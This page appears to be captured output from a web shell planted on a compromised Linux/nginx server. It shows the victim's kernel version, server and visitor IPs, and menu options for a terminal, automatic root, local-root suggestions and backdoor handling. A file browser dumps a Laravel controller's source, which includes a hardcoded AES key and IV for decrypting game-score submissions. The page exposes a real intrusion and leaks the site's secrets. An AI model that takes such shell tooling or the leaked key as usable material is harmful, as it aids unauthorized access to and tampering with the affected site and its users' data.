Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.144.132.48
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-test /
app /
Http /
Controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2018-12-04 21:08
AuthController.php
11.01
KB
-rw-r--r--
2021-03-17 19:17
ChatsController.php
3.72
KB
-rw-r--r--
2021-03-18 18:33
Controller.php
361
B
-rw-r--r--
2021-02-09 19:47
HomeController.php
454
B
-rw-r--r--
2021-02-23 11:55
RestController.php
3.46
KB
-rw-r--r--
2021-03-19 11:14
Save
Rename
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Models\Signings; use Illuminate\Support\Facades\Redirect; use RedirectsUsers; use Session; use DB; class RestController extends Controller { public function __construct() { //$this->middleware('auth'); } public function saveScore(Request $request) { $error = ''; $t = Session::get('save_string'); if (!$t) { Session::put('save_string', $request->get('t')); $t = Session::get('save_string'); } if ($t AND \Auth::user()->id) { $data = str_replace(array('-','_','.'),array('+','/','='),$t); $mod4 = strlen($data) % 4; if ($mod4) $data .= substr('====', $mod4); $data = \base64_decode($data); $key = 'nf72190mabnxrq904lgu2nffu2ho4p2y'; $iv = 'sd8u21vrlab11=sd'; $cipher = \mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc',''); \mcrypt_generic_init($cipher, $key, $iv); $decrypted = \mdecrypt_generic($cipher,$data); \mcrypt_generic_deinit($cipher); //echo "sdf g".$decrypted; $arrDataTMP = explode("|", $decrypted); dd($arrDataTMP); if (!empty($arrDataTMP)) { $game = $allHW = $OS = $device = $date = ''; foreach ($arrDataTMP as $res) { if (substr_count($res, 'm6=')>0) { $game = str_replace("m6=", '', $res); } if (substr_count($res, 'm7=')>0) { $allHW = str_replace("m7=", '', $res); } if (substr_count($res, 'm8=')>0) { $OS = str_replace("m8=", '', $res); } if (substr_count($res, 'm9=')>0) { $device = str_replace("m9=", '', $res); } if (substr_count($res, 'm12=')>0) { $date = str_replace("m12=", '', $res); } } if ($game AND $allHW AND $OS AND $device AND $date) { $cur_score = DB::table('signings')->where('save_string', $t)->get(); if (empty($cur_score[0])) { $Signings = new Signings(); $Signings->user_id = \Auth::user()->id; $Signings->product_id = 1; $Signings->productscore1 = $allHW; $Signings->os = $OS; $Signings->device = $device; $Signings->scoredate = $date; $Signings->save_string = $t; $Signings->active = 'Y'; $Signings->created_at = time(); $Signings->updated_at = time(); $Signings->save(); } else { Session::forget('save_string'); $error = "Ваш результат уже сохранен"; } } } Session::forget('save_string'); return Redirect::to('/?status=Ok'); //return ['status' => 'Ok', 'message' => 'Результат успешно сохранен']; } else { return Redirect::to('/?auth=do'); } return ['status' => 'Error', 'message' => $error]; } }